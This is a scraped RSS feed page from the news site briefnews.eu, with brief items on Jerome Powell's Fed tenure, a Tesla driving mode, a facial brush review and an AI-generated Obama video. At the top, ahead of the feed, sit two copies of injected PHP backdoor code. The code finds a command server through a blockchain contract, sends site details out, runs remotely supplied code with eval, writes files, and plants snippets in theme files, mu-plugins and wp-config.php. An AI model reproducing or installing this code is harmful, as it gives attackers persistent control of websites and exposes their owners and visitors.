// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); smooth – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 28 Mar 2018 23:37:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png smooth – Brief News https://briefnews.eu 32 32 A Smooth Ride in Coach: Flying Delta’s Airbus A350 From Detroit to Tokyo https://briefnews.eu/a-smooth-ride-in-coach-flying-deltas-airbus-a350-from-detroit-to-tokyo/ https://briefnews.eu/a-smooth-ride-in-coach-flying-deltas-airbus-a350-from-detroit-to-tokyo/#respond Wed, 28 Mar 2018 23:37:51 +0000 http://briefnews.eu/a-smooth-ride-in-coach-flying-deltas-airbus-a350-from-detroit-to-tokyo/

A Smooth Ride in Coach: Delta’s A350, Detroit to Tokyo

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https://briefnews.eu/a-smooth-ride-in-coach-flying-deltas-airbus-a350-from-detroit-to-tokyo/feed/ 0
New Tesla update adds smooth and relaxed Chill driving mode https://briefnews.eu/new-tesla-update-adds-smooth-and-relaxed-chill-driving-mode/ https://briefnews.eu/new-tesla-update-adds-smooth-and-relaxed-chill-driving-mode/#respond Thu, 09 Nov 2017 21:36:30 +0000 http://briefnews.eu/new-tesla-update-adds-smooth-and-relaxed-chill-driving-mode/ [unable to retrieve full-text content]

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Jerome Powell’s Fed tenure is unlikely to be a smooth sail https://briefnews.eu/jerome-powells-fed-tenure-is-unlikely-to-be-a-smooth-sail/ https://briefnews.eu/jerome-powells-fed-tenure-is-unlikely-to-be-a-smooth-sail/#respond Fri, 03 Nov 2017 04:45:43 +0000 http://briefnews.eu/jerome-powells-fed-tenure-is-unlikely-to-be-a-smooth-sail/ Jerome PowellReuters/Carlos Barria

  • President Donald Trump has named Jerome Powell to replace Janet Yellen as Federal Reserve Chair
  • Powell is likely to face more market turbulence and economic uncertainty than Yellen did during the last four years. 
  • Yellen’s predecessor Ben Bernanke has warned that ‘the current monetary toolbox’ might not be sufficient to navigate what’s ahead.

Maybe not being reappointed Federal Reserve Chair will prove a blessing for Janet Yellen.

President Donald Trump has named Jerome Powell, a current Fed governor and former private equity executive, to lead the central bank for at least the next for years.

Wall Street welcomed the pick as signaling continuity with the current low-interest rate environment and take it slow approach that Yellen has overseen. 

Still, the next four years could be a lot tougher for the central bank than the last four.

Over the past few years, the economy and stock market have been marked by stable growth and a distinct absence of financial distress. But stocks won’t carry on like this for long and there are already signs of financial instability in corners of credit markets. Moreover, the central bank is only just starting its process of unwinding its massive quantitative easing plan, an uncertain proces that could increase volatility.

“The markets have been remarkably ebullient for the past year,” Benn Steil, senior fellow at the Council on Foreign Relations, told Business Insider. “Not just stocks. Everything that’s liquid is hot.  Meanwhile, corporate long-term fixed asset investment is still subdued. This suggests that there’s a lot of cash out there searching desperately for yield without commitment.”

That’s great for markets in the short run but will eventually become a problem.

“Whenever everyone thinks ‘well, it’s liquid – I’ll get out before the trouble hits,’ problems occur,” said Steil. “So there is, to my mind, a good chance Powell will have to deal with far more turbulence than Yellen has.”

One of the biggest concerns for Fed officials about fighting the next recession is a potential lack of tools to combat an economic downturn following a deep recession that forces the central bank to not only slash official interest rates to zero for several years but also to sharply expand its balance sheet to $ 4.5 trillion.

On Wednesday, the Fed kept interest rates on hold in a 1% to 1.25% range, having raised official borrowing costs four times starting in December 2015. The central bank is also gradually winding down its balance sheet starting this month.

“Powell may at some point need to take balance-sheet reduction off auto-pilot.  I don’t expect him to initiate actual selling, but I can imagine him pausing roll-off and resuming reinvestment if the economy turns sour,” Steil said. “That will present a communications challenge.”

Bernanke weighs in

Ex-Fed Chairman Ben Bernanke, Yellen’s predecessor, who now works in the finance industry, doesn’t think the Fed is sufficiently well equipped to handle the next recession. 

In a Brookings Institution blog on Oct. 12, Bernanke proposed what he calls “an alternative framework for monetary policy.” He calls it “temporary price-level targeting” which is effectively an effort to temporarily overshoot the Fed’s inflation target following a chronic period of missing it to the downside, such as has been experienced recently.

The Fed has fallen short of its 2% inflation target for five years, and the central bank admitted in its policy statement Wednesday that “inflation for items other than food and energy remained soft. On a 12-month basis, both inflation measures have declined this year and are running below 2%.” 

The chart below illustrates this — with the light blue line being actual inflation, and the dark blue being the target.

Bernanke inflation chart2Brookings Institution/Ben BernankeThe solution, to Bernanke, while somewhat technical, involves essentially a stronger commitment to meeting that target on asymmetric basis — that is, to tolerate too-low inflation just as little as too-high inflation.

“Low nominal interest rates, low inflation, and slow economic growth pose challenges to central bankers,” Bernanke wrote. “In particular, with estimates of the long-run equilibrium level of the real interest rate quite low, the next recession may occur at a time when the Fed has little room to cut short-term rates. Problems associated with the zero-lower bound on interest rates could be severe and enduring.”

Low inflation sounds great but chronically low price rises often reflect a weak economic and stagnant wages. 

Bernanke adds, rather ominously: “I am not confident that the current monetary toolbox would prove sufficient to address a sharp downturn. We should be thinking now about adjusting the framework in which monetary policy is conducted, to provide more policy ‘space’ in the future.”

That thinking is going to be the job of whomever gets handed the reins of the world’s most powerful central bank. 

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Silky smooth Sobey slams home https://briefnews.eu/silky-smooth-sobey-slams-home/ https://briefnews.eu/silky-smooth-sobey-slams-home/#respond Thu, 12 Oct 2017 11:32:16 +0000 http://briefnews.eu/silky-smooth-sobey-slams-home/

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65 transitional care beds will help smooth patients’ move home, Winnipeg health officials say https://briefnews.eu/65-transitional-care-beds-will-help-smooth-patients-move-home-winnipeg-health-officials-say/ https://briefnews.eu/65-transitional-care-beds-will-help-smooth-patients-move-home-winnipeg-health-officials-say/#respond Fri, 08 Sep 2017 02:56:49 +0000 http://briefnews.eu/65-transitional-care-beds-will-help-smooth-patients-move-home-winnipeg-health-officials-say/ 505936647

The Winnipeg Regional Health Authority plans to open up 65 new transitional beds that will help hospital patients get back home sooner and improve long-term health outcomes, officials say.

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This popular facial cleansing brush gave me super smooth skin and made shaving really easy https://briefnews.eu/this-popular-facial-cleansing-brush-gave-me-super-smooth-skin-and-made-shaving-really-easy/ https://briefnews.eu/this-popular-facial-cleansing-brush-gave-me-super-smooth-skin-and-made-shaving-really-easy/#respond Sat, 05 Aug 2017 19:09:53 +0000 http://briefnews.eu/this-popular-facial-cleansing-brush-gave-me-super-smooth-skin-and-made-shaving-really-easy/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

FOREO_CLEANSERS_MEN_lifestyleFOREOFor most guys, taking care of their skin isn’t exactly a top priority, even if it should be. Having some sort of skin care routine is not only good for your health, but it’s also a great way to boost your confidence.

Of course it’s an easy task to skip, but when rough skin, breakouts, or unsightly razor bumps occur, that’s when the real headache begins. Nobody wants to deal with that, and with the Foreo Luna 2 for Men, you never will.

The Luna 2 for Men works as a state-of-the-art facial scrub brush, pre-shaving, and anti-aging tool. With its 3-in-1 functionality, this is literally the only device you need to achieve smooth and clear skin. The device uses enhanced T-Sonic technology, that can be adjusted to your designed intensity, to exfoliate and fight off wrinkles. Included in the package, you’ll find a USB charger, a small carrying pouch, and information on the product.

Using the Luna 2 for Men is super easy. Just apply your regular facial cleanser, wet the Luna 2’s facial scrubbing brush, use it to work away dead skin cells, dirt, and oils that clog pores, and then simply rinse and dry your face. When using it as a pre-shaving device, that same process will prepare you for a super smooth shave — no more ingrown hairs, razor bumps, or irritations. The product is 100% waterproof, so using it in the shower or bath is no issue.

If you’re a bit reluctant about the impact this little device has, don’t be. At first, I was too, but after just one use, my face felt smoother and cleaner than it ever has before. I don’t have a full beard, but sometimes get razor bumps on my face or neck after shaving. Using the Luna 2 for Men made shaving a noticeably better experience for me.

At 24-years-old, I don’t have any wrinkles to combat yet, but the anti-aging mode feels amazing. It is so relaxing; I can easily see how it works to reduce wrinkles. Whether you have wrinkles or not, you’ll want to use this mode. You’re honestly getting one of the best facial massages I’ve ever had in the palm of your hand.

Even if you have relatively healthy skin to begin with, the Luna 2 for Men will have you feeling clean and smooth.

Pick up the only device men need for amazing skin care now for $ 177.11 on Amazon.

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Researchers make a surprisingly smooth artificial video of Obama https://briefnews.eu/researchers-make-a-surprisingly-smooth-artificial-video-of-obama/ https://briefnews.eu/researchers-make-a-surprisingly-smooth-artificial-video-of-obama/#respond Wed, 12 Jul 2017 02:54:05 +0000 http://briefnews.eu/researchers-make-a-surprisingly-smooth-artificial-video-of-obama/

Translating audio into realistic looking video of a person speaking is quite a challenge. Often, the resulting video just looks off — a problem called the uncanny valley, which states that human replicas appearing almost but not quite real come off as eerie or creepy. However, researchers at the University of Washington have made some serious headway in overcoming this issue and they did it using audio and video of Barack Obama.

The researchers used 14 hours of Obama’s weekly address videos to train a neural network. Once trained, their system was then able to take an audio clip from the former president, create mouth shapes that synced with the audio and then synthesize a realistic looking mouth that matched Obama’s. The mouth synced to the audio was then superimposed and blended onto a video of Obama that was different from the audio source. To make it look more natural, the system corrected for head placement and movement, timing and details like how the jaw looked. The whole process is automated save for one manual step that requires a person to select two frames in the video where the subject’s upper and lower teeth are front-facing and highly visible. Those images are then used by the system to make the resulting video’s teeth look more realistic.

